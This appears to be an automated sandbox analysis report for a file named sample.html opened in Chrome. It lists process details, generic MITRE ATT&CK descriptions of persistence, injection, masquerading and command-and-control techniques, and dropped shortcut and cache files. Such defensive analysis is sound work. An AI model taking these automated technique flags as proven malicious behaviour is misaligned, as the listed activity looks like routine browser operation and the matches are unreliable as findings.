!o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Target ID:	0
Start time:	01:54:42
Start date:	24/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\sample.html
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	01:54:42
Start date:	24/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2000,i,18333040046512909352,8321515222711059962,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report sample.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Static File Info

General

Windows Analysis Report
sample.html